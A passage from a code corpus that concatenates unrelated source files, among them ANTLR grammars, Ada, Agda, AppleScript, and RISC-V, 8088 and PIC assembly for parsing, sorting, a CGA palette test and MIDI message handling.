: imports? exports? EOF
;
imports
: importDecl+
;
exports
: export+
;
importDecl
: IMPORT LBRACE identifiers RBRACE FROM STRING SEMICOLON
;
identifiers
: ID (COMMA ID)*
;
export
: EXPORT declaration
;
declaration
: interfaceDecl
| typeAlias
| enumDecl
;
interfaceDecl
: INTERFACE typeDecl (extendsDecl)? members
;
members
: LBRACE (member)* RBRACE
;
typeDecl
: ID typeVars?
;
typeVars
: LT identifiers GT
;
typeArgs
: LT typeRefs GT
;
extendsDecl
: EXTENDS baseTypes
;
baseTypes
: baseType (COMMA baseType)*
;
member
: ID QUESTION? COLON typeRef SEMICOLON
;
typeRefs
: typeRefElem (COMMA typeRefElem)*
;
typeRefElem
: typeRef
;
typeRef
: simpleType
| arrayType
| paramType
| unionType
;
baseType
: simpleType
| paramType
;
arrayType
: ID LBRACKET RBRACKET
;
paramType
: ID typeArgs
;
simpleType
: ID
;
unionType
: variant (BAR variant)+
;
variant
: simpleType
;
typeAlias
: TYPE ID EQ typeRef SEMICOLON
;
enumDecl
: ENUM ID LBRACE enumMember (COMMA enumMember)* RBRACE
;
enumMember
: ID (EQ STRING)?
;
// -------- end of parser, start of lexer
LPAREN
: '('
;
RPAREN
: ')'
;
LBRACKET
: '['
;
RBRACKET
: ']'
;
LBRACE
: '{'
;
RBRACE
: '}'
;
COLON
: ':'
;
COMMA
: ','
;
SEMICOLON
: ';'
;
LT
: '<'
;
GT
: '>'
;
EQ
: '='
;
BAR
: '|'
;
QUESTION
: '?'
;
IMPORT
: 'import'
;
ENUM
: 'enum'
;
FROM
: 'from'
;
EXPORT
: 'export'
;
EXTENDS
: 'extends'
;
TYPE
: 'type'
;
INTERFACE
: 'interface'
;
STRING
: '\'' (~['])* '\''
;
ID
: [A-Za-z][A-Za-z0-9_]*
;
WHITESPACE
: [ \t\n\r]+ -> skip
;
LINE_COMMENT
: '//' ~[\r\n]* -> skip
;
|
common/src/main/antlr/org/anti_ad/mc/common/prifiles/ProfilesParser.g4 | baka-gourd/Inventory-Profiles | 0 | 1658 | parser grammar ProfilesParser;
options {
tokenVocab=ProfilesLexer;
}
script
: profile* EOF
;
profile : 'profile' Id ('activate' activeSlotName)? slotsDef;
slotsDef : (slotDef)* ;
slotDef : slotname (itemDef)*? ;
itemDef : itemName ('->' enchantments)?;
itemName : NamespacedId;
enchantments : '[' enchantment (',' enchantment)* ']';
enchantment : '{' name (',' level) '}';
level: 'lvl' ':' Level ;
name: 'id' ':' NamespacedId;
slotname : (HOT1|HOT2|HOT3|HOT4|HOT5|HOT6|HOT7|HOT8|HOT9|CHESTPLATE|LEGS|FEET|HEAD|OFFHAND);
activeSlotName : (HOT1|HOT2|HOT3|HOT4|HOT5|HOT6|HOT7|HOT8|HOT9); |
source/web/tools/wsdl2ada/wsdl-driver.adb | svn2github/matreshka | 24 | 12980 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Web Framework --
-- --
-- Tools Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012-2014, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Ada.Command_Line;
with League.Application;
with XML.SAX.File_Input_Sources;
with XML.SAX.Simple_Readers;
with WSDL.Analyzer;
with WSDL.AST.Descriptions;
pragma Unreferenced (WSDL.AST.Descriptions);
-- GNAT Pro 7.2.0w (20130423): package is needed to access to type's
-- components.
with WSDL.Debug;
with WSDL.Generator;
with WSDL.Iterators.Containment;
with WSDL.Parsers;
with WSDL.Name_Resolvers;
procedure WSDL.Driver is
Source : aliased XML.SAX.File_Input_Sources.File_Input_Source;
Handler : aliased WSDL.Parsers.WSDL_Parser;
Reader : aliased XML.SAX.Simple_Readers.Simple_Reader;
begin
-- Load document.
Reader.Set_Content_Handler (Handler'Unchecked_Access);
Source.Open_By_File_Name (League.Application.Arguments.Element (1));
Reader.Parse (Source'Unchecked_Access);
-- Resolve names.
declare
Resolver : WSDL.Name_Resolvers.Name_Resolver;
Iterator : WSDL.Iterators.Containment.Containment_Iterator;
Control : WSDL.Iterators.Traverse_Control := WSDL.Iterators.Continue;
begin
Resolver.Set_Root (Handler.Get_Description);
Iterator.Visit
(Resolver, WSDL.AST.Node_Access (Handler.Get_Description), Control);
end;
-- Analyze.
declare
Analyzer : WSDL.Analyzer.Analyzer;
Iterator : WSDL.Iterators.Containment.Containment_Iterator;
Control : WSDL.Iterators.Traverse_Control := WSDL.Iterators.Continue;
begin
Analyzer.Set_Root (Handler.Get_Description);
Iterator.Visit
(Analyzer, WSDL.AST.Node_Access (Handler.Get_Description), Control);
end;
-- WSDL.Debug.Dump (Handler.Get_Description);
-- Generate code.
WSDL.Generator.Generate (Handler.Get_Description);
exception
when WSDL.WSDL_Error =>
-- It means that detedted error was reported and processing was
-- terminated. Set exit status to report presence of some error.
Ada.Command_Line.Set_Exit_Status (Ada.Command_Line.Failure);
end WSDL.Driver;
|
alloy4fun_models/trashltl/models/0/DrFLaaABkgDK67MaY.als | Kaixi26/org.alloytools.alloy | 0 | 1984 | open main
pred idDrFLaaABkgDK67MaY_prop1 {
before(no Trash and no Protected)
}
pred __repair { idDrFLaaABkgDK67MaY_prop1 }
check __repair { idDrFLaaABkgDK67MaY_prop1 <=> prop1o } |
utils/bubble_sort.asm | pastchick3/risc-v-processor-sv | 0 | 241452 | <reponame>pastchick3/risc-v-processor-sv<gh_stars>0
// The C version of the bubble sort is given as below:
//
// void bubbleSort(int arr[], size_t n) {
// for (size_t i = 0; i < n - 1; i++) {
// for (size_t j = 0; j < n - i - 1; j++) {
// if (arr[j] > arr[j+1]) {
// swap(&arr[j], &arr[j+1]);
// }
// }
// }
// }
//
// void swap(int *a, int *b) {
// int temp = *a;
// *a = *b;
// *b = temp;
// }
// Load n-1 into x28. x29 will be the counter i.
ld x28, 12(x0)
ld x5, 1(x0)
sub x28, x28, x5
OuterLoop:
// Load n-i-1 into x30. x31 will be the counter j.
ld x30, 12(x0)
sub x30, x30, x29
ld x5, 1(x0)
sub x30, x30, x5
add x31, x0, x0
InnerLoop:
// Compare and swap arr[j] and arr[j+1].
ld x5, 13(x31)
ld x6, 14(x31)
blt x5, x6, SwapSkipped
add x7, x5, x0
add x5, x6, x0
add x6, x7, x0
sd x5, 13(x31)
sd x6, 14(x31)
SwapSkipped:
// Compute j++.
ld x5, 1(x0)
add x31, x31, x5
blt x31, x30, InnerLoop
// Compute i++.
ld x5, 1(x0)
add x29, x29, x5
blt x29, x28, OuterLoop
|
3-mid/opengl/source/lean/geometry/lit_colored_textured_skinned/opengl-program-lit_colored_textured_skinned.ads | charlie5/lace | 20 | 16217 | package openGL.Program.lit_colored_textured_skinned
--
-- Provides a program for lit, colored, textured and skinned vertices.
--
is
type Item is new openGL.Program.item with private;
type View is access all Item'Class;
overriding
procedure define (Self : in out Item; use_vertex_Shader : in Shader.view;
use_fragment_Shader : in Shader.view);
overriding
procedure set_Uniforms (Self : in Item);
procedure bone_Transform_is (Self : in Item; Which : in Integer;
Now : in Matrix_4x4);
private
type bone_transform_Uniforms is array (1 .. 120) of Variable.uniform.mat4;
type Item is new openGL.Program.item with
record
bone_transform_Uniforms : lit_colored_textured_skinned.bone_transform_Uniforms;
end record;
end openGL.Program.lit_colored_textured_skinned;
|
src/LPB/LPB.g4 | CptSpookz/LPB | 1 | 7688 | grammar LPB;
@header {from antlr4.error.Errors import ParseCancellationException}
@lexer::members {
def erroLexico(self, msg):
raise ParseCancellationException(msg)
}
programa: 'imovel' decl_imovel ':' corpo 'fim_imovel';
decl_imovel: decl_casa | decl_apartamento;
decl_casa: 'Casa' '(' 'Tam' num_blocos=dimensao ',' 'Andares' num_andares=dimensao ')';
decl_apartamento: 'Apartamento' '(' 'Tam' dimensao ')';
corpo: decl_andar+;
decl_andar: 'andar' NUM_INT ':' decl_planta? 'fim_andar';
decl_planta: 'planta' ':' decl_comodos+ decl_moveis* 'fim_planta';
decl_comodos: id_bloco 'tem' 'comodo' var_comodo (',' var_comodo)*;
decl_moveis: id_bloco '->' IDENT 'tem' 'movel' tipo_movel (',' tipo_movel)*;
id_bloco: '{' NUM_INT '}';
var_comodo: IDENT tipo_comodo dimensao?;
tipo_comodo: 'cozinha' | 'quarto' | 'banheiro' | 'quintal' | 'escritorio' | 'garagem';
tipo_movel: 'sofa' | 'cama' | 'armario' | 'pia' | 'chuveiro' | 'televisao' | 'geladeira' | 'piscina';
dimensao: '[' NUM_INT ']';
NUM_INT: [0-9]+;
IDENT: [a-zA-Z]+;
ESPACO: [ \r\n\t]+ -> skip;
COMENT: '"' .*? '"' -> skip;
COMENT_N_FECHADO: '"' .*? { self.erroLexico("Linha {}:{} comentário não fechado.".format(self._tokenStartLine + 1, self._tokenStartColumn)) };
SIMB_DESCONHECIDO: . { self.erroLexico("Linha {}:{} {} - símbolo não identificado.".format(self._tokenStartLine, self._tokenStartColumn,
self._input.strdata[self._input._index-1])) };
|
sw/552tests/inst_tests/sub_0.asm | JPShen-UWM/ThreadKraken | 1 | 177296 | <reponame>JPShen-UWM/ThreadKraken<gh_stars>1-10
// Test provided by Karu
//Test of producing a zero
lbi r1, 0xff
lbi r2, 0x1
sub r2, r1, r1
sub r1, r1, r1
halt
|
tait/Tait.agda | HarrisonGrodin/computational-type-theory-2021 | 2 | 2509 | module Tait where
-- Boilerplate for contexts and substitutions inspired by:
-- https://plfa.github.io/DeBruijn/
-- Proof technique from "How to (Re)Invent Tait's Method":
-- http://www.cs.cmu.edu/~rwh/courses/chtt/pdfs/tait.pdf
open import Data.Sum
open import Data.Product
open import Function using (_∘_)
open import Relation.Binary.PropositionalEquality as Eq using (_≡_)
open import Relation.Binary.PropositionalEquality.TrustMe using (trustMe)
infix 4 _⊢_
infix 4 _∋_
infixl 7 _·_
infix 9 `_
data Type : Set where
unit : Type
bool : Type
_∧_ : Type → Type → Type
_⊃_ : Type → Type → Type
data Ctx : Set where
∅ : Ctx
_#_ : Ctx → Type → Ctx
data _∋_ : Ctx → Type → Set where
Z : ∀ {Γ A} → (Γ # A) ∋ A
S_ : ∀ {Γ A B} → Γ ∋ A → (Γ # B) ∋ A
ext : ∀ {Γ Δ}
→ (∀ {A} → Γ ∋ A → Δ ∋ A)
---------------------------------
→ (∀ {A B} → Γ # B ∋ A → Δ # B ∋ A)
ext ρ Z = Z
ext ρ (S x) = S (ρ x)
data _⊢_ : Ctx → Type → Set where
`_ : ∀ {Γ A} → Γ ∋ A → Γ ⊢ A
⋆ : ∀ {Γ} → Γ ⊢ unit
yes no : ∀ {Γ} → Γ ⊢ bool
⟨_,_⟩ : ∀ {Γ A₁ A₂} → Γ ⊢ A₁ → Γ ⊢ A₂ → Γ ⊢ (A₁ ∧ A₂)
fst : ∀ {Γ A₁ A₂} → Γ ⊢ (A₁ ∧ A₂) → Γ ⊢ A₁
snd : ∀ {Γ A₁ A₂} → Γ ⊢ (A₁ ∧ A₂) → Γ ⊢ A₂
ƛ : ∀ {Γ A₁ A₂} → (Γ # A₁) ⊢ A₂ → Γ ⊢ (A₁ ⊃ A₂)
_·_ : ∀ {Γ A₁ A₂} → Γ ⊢ (A₁ ⊃ A₂) → Γ ⊢ A₁ → Γ ⊢ A₂
rename : ∀ {Γ Δ}
→ (∀ {A} → Γ ∋ A → Δ ∋ A)
-----------------------
→ (∀ {A} → Γ ⊢ A → Δ ⊢ A)
rename ρ (` x) = ` (ρ x)
rename ρ ⋆ = ⋆
rename ρ yes = yes
rename ρ no = no
rename ρ ⟨ M₁ , M₂ ⟩ = ⟨ rename ρ M₁ , rename ρ M₂ ⟩
rename ρ (fst M) = fst (rename ρ M)
rename ρ (snd M) = snd (rename ρ M)
rename ρ (ƛ N) = ƛ (rename (ext ρ) N)
rename ρ (L · M) = (rename ρ L) · (rename ρ M)
Subst : (Γ Δ : Ctx) → Set
Subst Γ Δ = ∀ {A} → Γ ∋ A → Δ ⊢ A
exts : ∀ {Γ Δ} → Subst Γ Δ → ∀ {A} → Subst (Γ # A) (Δ # A)
exts σ Z = ` Z
exts σ (S x) = rename S_ (σ x)
extend : ∀ {Γ Δ A} → Δ ⊢ A → Subst Γ Δ → Subst (Γ # A) Δ
extend M γ Z = M
extend M γ (S x) = γ x
subst : ∀ {Γ Δ} → Subst Γ Δ → (∀ {A} → Γ ⊢ A → Δ ⊢ A)
subst σ (` x) = σ x
subst σ ⋆ = ⋆
subst σ yes = yes
subst σ no = no
subst σ ⟨ M₁ , M₂ ⟩ = ⟨ subst σ M₁ , subst σ M₂ ⟩
subst σ (fst M) = fst (subst σ M)
subst σ (snd M) = snd (subst σ M)
subst σ (ƛ M) = ƛ (subst (exts σ) M)
subst σ (M₁ · M₂) = subst σ M₁ · subst σ M₂
_[_] : ∀ {Γ A B}
→ Γ # B ⊢ A
→ Γ ⊢ B
---------
→ Γ ⊢ A
_[_] {Γ} {A} {B} N M = subst {Γ # B} {Γ} (extend M `_) {A} N
data _final : ∀ {A} → ∅ ⊢ A → Set where
yes : yes final
no : no final
⋆ : ⋆ final
pair : ∀ {A₁ A₂} → (M₁ : ∅ ⊢ A₁) → (M₂ : ∅ ⊢ A₂) → ⟨ M₁ , M₂ ⟩ final
ƛ : ∀ {A₁ A₂} → (M : (∅ # A₁) ⊢ A₂) → (ƛ M) final
data _↦_ : {A : Type} → ∅ ⊢ A → ∅ ⊢ A → Set where
fst-step : ∀ {A₁ A₂} → {M M' : ∅ ⊢ A₁ ∧ A₂} → (M ↦ M') → (fst M ↦ fst M')
snd-step : ∀ {A₁ A₂} → {M M' : ∅ ⊢ A₁ ∧ A₂} → (M ↦ M') → (snd M ↦ snd M')
fst : ∀ {A₁ A₂} → {M₁ : ∅ ⊢ A₁} → {M₂ : ∅ ⊢ A₂} → (fst ⟨ M₁ , M₂ ⟩ ↦ M₁)
snd : ∀ {A₁ A₂} → {M₁ : ∅ ⊢ A₁} → {M₂ : ∅ ⊢ A₂} → (snd ⟨ M₁ , M₂ ⟩ ↦ M₂)
app-step : ∀ {A₁ A₂} → {M₁ M₁' : ∅ ⊢ A₁ ⊃ A₂} → {M₂ : ∅ ⊢ A₁} → (M₁ ↦ M₁') → (M₁ · M₂) ↦ (M₁' · M₂)
app : ∀ {A₁ A₂} → {M : ∅ # A₁ ⊢ A₂} → {M₂ : ∅ ⊢ A₁} → (ƛ M · M₂) ↦ (M [ M₂ ])
data _↦*_ : {A : Type} → ∅ ⊢ A → ∅ ⊢ A → Set where
refl : ∀ {A} → {M : ∅ ⊢ A} → M ↦* M
step : ∀ {A} → {M M' M'' : ∅ ⊢ A} → M ↦ M' → M' ↦* M'' → M ↦* M''
step-trans : ∀ {A} → {M M' M'' : ∅ ⊢ A} → M ↦* M' → M' ↦* M'' → M ↦* M''
step-trans refl s₂ = s₂
step-trans (step x s₁) s₂ = step x (step-trans s₁ s₂)
compatible : ∀ {A B} → ∀ {M M' : ∅ ⊢ A} → {p : ∅ ⊢ A → ∅ ⊢ B} → (∀ {N N'} → N ↦ N' → p N ↦ p N') → M ↦* M' → p M ↦* p M'
compatible lift refl = refl
compatible lift (step x s) = step (lift x) (compatible lift s)
ht : (A : Type) → ∅ ⊢ A → Set
ht unit M = M ↦* ⋆
ht bool M = (M ↦* yes) ⊎ (M ↦* no)
ht (A₁ ∧ A₂) M = ∃ λ N₁ → ∃ λ N₂ → (M ↦* ⟨ N₁ , N₂ ⟩) × (ht A₁ N₁ × ht A₂ N₂)
ht (A₂ ⊃ A) M = ∃ λ N → (M ↦* ƛ N) × (∀ N₂ → ht A₂ N₂ → ht A (N [ N₂ ]))
HT : ∀ {Γ} → Subst Γ ∅ → Set
HT {Γ} γ = ∀ {A} → (x : Γ ∋ A) → ht A (γ x)
ht-reverse-step : ∀ {A M M'} → M ↦ M' → ht A M' → ht A M
ht-reverse-step {unit} = step
ht-reverse-step {bool} s = [ (inj₁ ∘ step s) , (inj₂ ∘ step s) ]
ht-reverse-step {A ∧ A₁} s (N₁ , N₂ , term , ht₁ , ht₂) = N₁ , N₂ , step s term , ht₁ , ht₂
ht-reverse-step {A ⊃ A₁} s (N , term , ht') = N , step s term , ht'
ht-reverse-steps : ∀ {A M M'} → M ↦* M' → ht A M' → ht A M
ht-reverse-steps refl h = h
ht-reverse-steps (step x s) h = ht-reverse-step x (ht-reverse-steps s h)
-- Primary Theorem
_>>_∋_ : (Γ : Ctx) → (A : Type) → Γ ⊢ A → Set
Γ >> A ∋ M = (γ : Subst Γ ∅) → (h : HT γ) → ht A (subst γ M)
tait : ∀ {Γ A} → (M : Γ ⊢ A) → Γ >> A ∋ M
tait (` x) γ h = h x
tait ⋆ γ h = refl
tait yes γ h = inj₁ refl
tait no γ h = inj₂ refl
tait ⟨ M₁ , M₂ ⟩ γ h = subst γ M₁ , subst γ M₂ , refl , tait M₁ γ h , tait M₂ γ h
tait (fst M) γ h = let _ , _ , step-to-pair , ht-M₁ , _ = tait M γ h in
ht-reverse-steps (step-trans (compatible fst-step step-to-pair) (step fst refl)) ht-M₁
tait (snd M) γ h = let _ , _ , step-to-pair , _ , ht-M₂ = tait M γ h in
ht-reverse-steps (step-trans (compatible snd-step step-to-pair) (step snd refl)) ht-M₂
tait (ƛ M₂) γ h = subst (exts γ) M₂ , refl , λ M₁ ht₁ →
let ht₂ = tait M₂ (extend M₁ γ) λ { Z → ht₁ ; (S x) → h x } in
Eq.subst (ht _) trustMe ht₂ -- FIXME
tait (M₁ · M₂) γ h = let _ , step-to-lam , ht₁ = tait M₁ γ h in
let ht₂ = tait M₂ γ h in
ht-reverse-steps (step-trans (compatible app-step step-to-lam) (step app refl)) (ht₁ (subst γ M₂) ht₂ )
-- Corollary
subst-lemma : ∀ {Γ A} → (M : Γ ⊢ A) → subst `_ M ≡ M
subst-lemma (` x) = Eq.refl
subst-lemma ⋆ = Eq.refl
subst-lemma yes = Eq.refl
subst-lemma no = Eq.refl
subst-lemma ⟨ M₁ , M₂ ⟩ = Eq.cong₂ ⟨_,_⟩ (subst-lemma M₁) (subst-lemma M₂)
subst-lemma (fst M) = Eq.cong fst (subst-lemma M)
subst-lemma (snd M) = Eq.cong snd (subst-lemma M)
subst-lemma (ƛ M) = trustMe -- FIXME
subst-lemma (M₁ · M₂) = Eq.cong₂ _·_ (subst-lemma M₁) (subst-lemma M₂)
bools-terminate : (M : ∅ ⊢ bool) → M ↦* yes ⊎ M ↦* no
bools-terminate M = Eq.subst (λ M → M ↦* yes ⊎ M ↦* no) (subst-lemma M) (tait M `_ (λ {_} ()))
|
programs/oeis/127/A127115.asm | neoneye/loda | 22 | 91235 | ; A127115: n! in base 8.
; 1,1,2,6,30,170,1320,11660,116600,1304600,15657400,230212400,3443176000,56312146000,1211416624000,23016735654000,460356735300000,12067735663300000,265756631234600000,6601271140642200000
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
seq $0,7094 ; Numbers in base 8.
|
library/lists/listContains.applescript | NYHTC/applescript-fm-helper | 1 | 1194 | -- listContains(someList, someComplexItem)
-- <NAME>
-- Allows checking a list for sub-lists contained within, which the simple 'contains' and 'is in' fail to do.
(*
HISTORY:
1.0 - created
TODO:
- 2016-07-05 ( eshagdar ): convert params to record
*)
on run
listContains({"foo", "bob", "bar"}, "bob")
end run
--------------------
-- START OF CODE
--------------------
on listContains(someList, someComplexItem)
-- version 1.0
repeat with oneItem in someList
set oneItem to contents of oneItem
if oneItem is equal to someComplexItem then return true
end repeat
return false
end listContains
--------------------
-- END OF CODE
--------------------
|
8088/cga/dos_test_pattern/dos_test_pattern.asm | reenigne/reenigne | 92 | 28311 | <gh_stars>10-100
org 0x100
cpu 8086
mov ax,6
int 0x10
mov ax,0xb800
mov es,ax
xor di,di
cld
mov cx,200
yLoopTop:
push cx
mov cx,16
mov al,0
barLoopTop:
push cx
mov cx,5
rep stosb
pop cx
add al,0x11
loop barLoopTop
add di,0x2000 - 80
cmp di,0x4000
jle pageOk
add di,80 - 0x4000
pageOk:
pop cx
loop yLoopTop
mov ax,cs
mov ds,ax
mov si,data
paletteLoop:
mov ah,0
int 0x16
cmp al,27
jne noExit
mov ax,0x4c00
int 0x21
noExit:
mov dx,0x3d8
lodsw
out dx,ax
cmp si,endData
jne notAtEnd
mov si,data
notAtEnd:
jmp paletteLoop
data:
dw 0x001a, 0x011a, 0x021a, 0x031a, 0x041a, 0x051a, 0x061a, 0x071a, 0x081a, 0x091a, 0x0a1a, 0x0b1a, 0x0c1a, 0x0d1a, 0x0e1a, 0x0f1a
dw 0x000a, 0x010a, 0x020a, 0x030a, 0x040a, 0x050a, 0x060a, 0x070a, 0x080a, 0x090a, 0x0a0a, 0x0b0a, 0x0c0a, 0x0d0a, 0x0e0a, 0x0f0a
dw 0x100a, 0x110a, 0x120a, 0x130a, 0x140a, 0x150a, 0x160a, 0x170a, 0x180a, 0x190a, 0x1a0a, 0x1b0a, 0x1c0a, 0x1d0a, 0x1e0a, 0x1f0a
dw 0x200a, 0x210a, 0x220a, 0x230a, 0x240a, 0x250a, 0x260a, 0x270a, 0x280a, 0x290a, 0x2a0a, 0x2b0a, 0x2c0a, 0x2d0a, 0x2e0a, 0x2f0a
dw 0x300a, 0x310a, 0x320a, 0x330a, 0x340a, 0x350a, 0x360a, 0x370a, 0x380a, 0x390a, 0x3a0a, 0x3b0a, 0x3c0a, 0x3d0a, 0x3e0a, 0x3f0a
endData:
|
src/processmidi.asm | staskevich/MIDICPU | 14 | 98993 | <reponame>staskevich/MIDICPU<filename>src/processmidi.asm
; MIDI CPU
; copyright <NAME>, 2017
; <EMAIL>
;
; This work is licensed under a Creative Commons Attribution 4.0 International License.
; http://creativecommons.org/licenses/by/4.0/
;
; processmidi.asm
;
; Parse incoming MIDI messages.
;
list p=16f887
#include <p16f887.inc>
#include <mc.inc>
; ==================================================================
;
; External Functions
;
; ==================================================================
EXTERN inbound_sysex_finish
EXTERN send_midi_byte
; ==================================================================
;
; Global Functions
;
; ==================================================================
GLOBAL sysex_error
GLOBAL process_inbound_midi
process_midi code 0x1800
;process_midi code
; =================================
;
; Process any incoming MIDI data, merge if necessary
;
; =================================
process_inbound_midi
; Check for an emtpy fifo
movfw RX_BUFFER_GAUGE
btfsc STATUS,Z
return
process_midi_byte
; Pull a byte from the fifo
movlw RX_BUFFER
addwf RX_BUFFER_HEAD,w
movwf FSR
bsf STATUS,IRP
movfw INDF
movwf RX_MIDI_BYTE
; Delete from fifo
incf RX_BUFFER_HEAD,f
movlw RX_POINTER_MASK
andwf RX_BUFFER_HEAD,f
; ok to receive more bytes
; bsf INTCON,GIE
; Check for MIDI Status
btfss RX_MIDI_BYTE,7
goto process_inbound_data
process_inbound_midi_status
; use running status if possible
movfw OUTBOUND_STATUS
subwf RX_MIDI_BYTE,w
bnz process_inbound_midi_new_status
; use running status
; set incomplete message flag
bsf STATE_FLAGS,0
; prepare for data
clrf INBOUND_BYTECOUNT
movfw RX_MIDI_BYTE
movwf INBOUND_STATUS
goto process_inbound_midi_next
; new status--do some processing
process_inbound_midi_new_status
; check for status 0xF_
movfw RX_MIDI_BYTE
andlw B'11110000'
sublw 0xF0
bnz process_inbound_midi_ch_spec
process_inbound_midi_ch_unspec
; first check for real-time messages
; MIDI reset
movfw RX_MIDI_BYTE
sublw 0xFF
bz merge_inbound_byte
; MIDI active sense (ignore)
movfw RX_MIDI_BYTE
sublw 0xFE
bz process_inbound_midi_next
; MIDI undefined real time
movfw RX_MIDI_BYTE
sublw 0xFD
bz merge_inbound_byte
; MIDI stop
movfw RX_MIDI_BYTE
sublw 0xFC
bz process_inbound_midi_stop
; MIDI continue
movfw RX_MIDI_BYTE
sublw 0xFB
bz process_inbound_midi_continue
; MIDI start
movfw RX_MIDI_BYTE
sublw 0xFA
bz process_inbound_midi_start
; MIDI tick
movfw RX_MIDI_BYTE
sublw 0xF9
bz merge_inbound_byte
; MIDI clock
movfw RX_MIDI_BYTE
sublw 0xF8
bz process_inbound_midi_clock
; MIDI SysEx Begin
movfw RX_MIDI_BYTE
sublw 0xF0
bz process_inbound_sysex
; MIDI SysEx End
movfw RX_MIDI_BYTE
sublw 0xF7
bz process_inbound_sysex_end
; This is a message that is not merged.
clrf INBOUND_STATUS
goto process_inbound_midi_next
process_inbound_sysex_end
pagesel inbound_sysex_finish
goto inbound_sysex_finish
process_inbound_midi_ch_spec
; Merge the status byte & prepare to merge data bytes.
movfw RX_MIDI_BYTE
movwf INBOUND_STATUS
movwf OUTBOUND_STATUS
bsf STATE_FLAGS,0
clrf INBOUND_BYTECOUNT
goto merge_inbound_byte
process_inbound_midi_stop
process_inbound_midi_continue
process_inbound_midi_start
process_inbound_midi_clock
goto merge_inbound_byte
process_inbound_sysex
movfw RX_MIDI_BYTE
movwf INBOUND_STATUS
clrf SYSEX_TYPE
; new sysex message--message incomplete
bsf STATE_FLAGS,0
; sysex header not yet determined to be relevant
bcf STATE_FLAGS,1
; control terminal config message not yet identified
; bcf STATE_FLAGS,2
; no data yet received
clrf INBOUND_BYTECOUNT
goto process_inbound_midi_next
process_inbound_sysex_data
; assume relevant data at first. we'll turn off the inbound status if we need to ignore future data bytes.
; check for valid header already received.
btfss STATE_FLAGS,1
goto process_inbound_sysex_header
process_inbound_sysex_body
; for type 01 messages, map the data into memory using nn and tt.
; btfsc STATE_FLAGS,2
decfsz SYSEX_TYPE,w
goto pisb_generic
pisb_type_1
; for type 1 message, store 4-byte chunks according to nn and tt
movfw INBOUND_BYTECOUNT
bz pisb_type_1_store_yy
movfw INBOUND_BYTECOUNT
sublw 0x01
bz pisb_type_1_store_nn
movfw INBOUND_BYTECOUNT
sublw 0x02
bz pisb_type_1_store_tt
movfw INBOUND_BYTECOUNT
sublw 0x03
bz pisb_type_1_store_mm
movfw INBOUND_BYTECOUNT
sublw 0x04
bz pisb_type_1_store_ch
movfw INBOUND_BYTECOUNT
sublw 0x05
bz pisb_type_1_store_d0
; at this point, we have d1...
pisb_type_1_store_d1
movfw RX_MIDI_BYTE
banksel SYSEX_D1
movwf SYSEX_D1
banksel PORTA
; store the complete chunk
call store_sysex_chunk
; chunk is complete, roll the bytecount back to 1 (0 is for yy only)
movlw 0x01
movwf INBOUND_BYTECOUNT
; banksel INCOMING_SYSEX_A
; movlw 0x77
; movwf 0xB0
; banksel PORTA
goto process_inbound_midi_next
pisb_type_1_store_yy
movfw RX_MIDI_BYTE
sublw SYSEX_MAX_YY
bnc pisb_error
movfw RX_MIDI_BYTE
banksel SYSEX_YY
movwf SYSEX_YY
banksel PORTA
incf INBOUND_BYTECOUNT,f
goto process_inbound_midi_next
pisb_type_1_store_nn
movfw RX_MIDI_BYTE
sublw SYSEX_MAX_NN
bnc pisb_error
movfw RX_MIDI_BYTE
banksel SYSEX_NN
movwf SYSEX_NN
banksel PORTA
incf INBOUND_BYTECOUNT,f
goto process_inbound_midi_next
pisb_type_1_store_tt
movfw RX_MIDI_BYTE
sublw SYSEX_MAX_TT
bnc pisb_error
movfw RX_MIDI_BYTE
banksel SYSEX_TT
movwf SYSEX_TT
banksel PORTA
incf INBOUND_BYTECOUNT,f
goto process_inbound_midi_next
pisb_type_1_store_mm
movfw RX_MIDI_BYTE
banksel SYSEX_MM
movwf SYSEX_MM
banksel PORTA
incf INBOUND_BYTECOUNT,f
goto process_inbound_midi_next
pisb_type_1_store_ch
movfw RX_MIDI_BYTE
banksel SYSEX_CH
movwf SYSEX_CH
banksel PORTA
incf INBOUND_BYTECOUNT,f
goto process_inbound_midi_next
pisb_type_1_store_d0
movfw RX_MIDI_BYTE
banksel SYSEX_D0
movwf SYSEX_D0
banksel PORTA
incf INBOUND_BYTECOUNT,f
goto process_inbound_midi_next
pisb_generic
; for other messages, just use a raw dump into the memory space.
; if this is the 129th byte, it's an error.
btfsc INBOUND_BYTECOUNT,7
goto pisb_error
movfw INBOUND_BYTECOUNT
movwf TEMP_IM
call store_sysex_byte
incf INBOUND_BYTECOUNT,f
goto process_inbound_midi_next
pisb_error
sysex_error
; make sure interrupts are back on
bsf INTCON,7
clrf INBOUND_STATUS
clrf SYSEX_TYPE
bcf STATE_FLAGS,0
